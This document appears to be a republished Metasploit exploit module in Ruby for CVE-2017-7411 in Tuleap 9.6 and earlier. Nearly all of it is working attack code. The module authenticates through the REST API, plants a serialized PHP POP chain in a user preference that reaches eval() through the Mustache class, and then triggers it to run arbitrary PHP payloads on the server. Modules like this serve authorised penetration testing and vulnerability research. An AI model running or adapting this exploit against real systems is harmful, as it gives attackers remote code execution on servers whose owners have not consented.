Tuleap 9.6 – Second-Order PHP Object Injection (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection', 'Description' => %q{ This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which could be abused by authenticated users to execute arbitrary PHP code with the permissions of the webserver. The vulnerability exists because of the User::getRecentElements() method is using the unserialize() function with data that can be arbitrarily manipulated by a user through the REST API interface. The exploit's POP chain abuses the __toString() method from the Mustache class to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method. }, 'Author' => 'EgiX', 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://karmainsecurity.com/KIS-2017-02'], ['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'], ['CVE', '2017-7411'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Tuleap <= 9.6', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 23 2017' )) register_options( [ OptString.new('TARGETURI', [true, "The base path to the web application", "/"]), OptString.new('USERNAME', [true, "The username to authenticate with" ]), OptString.new('PASSWORD', [true, "The password to authenticate with" ]), OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]), Opt::RPORT(443) ]) end def setup_popchain(random_param) print_status("Trying to login through the REST API...") user = datastore['USERNAME'] pass = datastore['PASSWORD'] res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/tokens'), 'ctype' => 'application/json', 'data' => {'username' => user, 'password' => pass}.to_json }) unless res && (res.code == 201 || res.code == 200) && res.body msg = "Login failed with #{user}:#{pass}" print_error(msg) if @is_check fail_with(Failure::NoAccess, msg) end body = JSON.parse(res.body) uid = body['user_id'] token = body['token'] print_good("Login successful with #{user}:#{pass}") print_status("Updating user preference with POP chain string...") php_code = "null;eval(base64_decode($_POST['#{random_param}']));//" pop_chain = 'a:1:{i:0;a:1:{' pop_chain << 's:2:"id";O:8:"Mustache":2:{' pop_chain << 'S:12:"\00*\00_template";' pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";' pop_chain << 'S:11:"\00*\00_context";a:1:{' pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{' pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{' pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}" pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}} res = send_request_cgi({ 'method' => 'PATCH', 'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"), 'ctype' => 'application/json', 'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid}, 'data' => pref.to_json }) unless res && res.code == 200 msg = "Something went wrong" print_error(msg) if @is_check fail_with(Failure::UnexpectedReply, msg) end end def do_login print_status("Retrieving the CSRF token for login...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'account/login.php') }) if res && res.code == 200 && res.body && res.get_cookies if res.body =~ /name="challenge" value="(\w+)">/ csrf_token = $1 print_good("CSRF token: #{csrf_token}") else print_warning("CSRF token not found. Trying to login without it...") end else msg = "Failed to retrieve the login page" print_error(msg) if @is_check fail_with(Failure::NoAccess, msg) end user = datastore['USERNAME'] pass = datastore['PASSWORD'] res = send_request_cgi({ 'method' => 'POST', 'cookie' => res.get_cookies, 'uri' => normalize_uri(target_uri.path, 'account/login.php'), 'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token} }) unless res && res.code == 302 msg = "Login failed with #{user}:#{pass}" print_error(msg) if @is_check fail_with(Failure::NoAccess, msg) end print_good("Login successful with #{user}:#{pass}") res.get_cookies end def exec_php(php_code) random_param = rand_text_alpha(10) setup_popchain(random_param) session_cookies = do_login() print_status("Triggering the POP chain...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"), 'cookie' => session_cookies, 'vars_post' => {random_param => Rex::Text.encode_base64(php_code)} }) if res && res.code == 200 && res.body =~ /Exiting with Error/ msg = "No access to Artifact ID #{datastore['AID']}" @is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg) end res end def check @is_check = true flag = rand_text_alpha(rand(10)+20) res = exec_php("print '#{flag}';") if res && res.code == 200 && res.body =~ /#{flag}/ return Exploit::CheckCode::Vulnerable elsif res && res.body =~ /Exiting with Error/ return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit @is_check = false exec_php(payload.encoded) end end |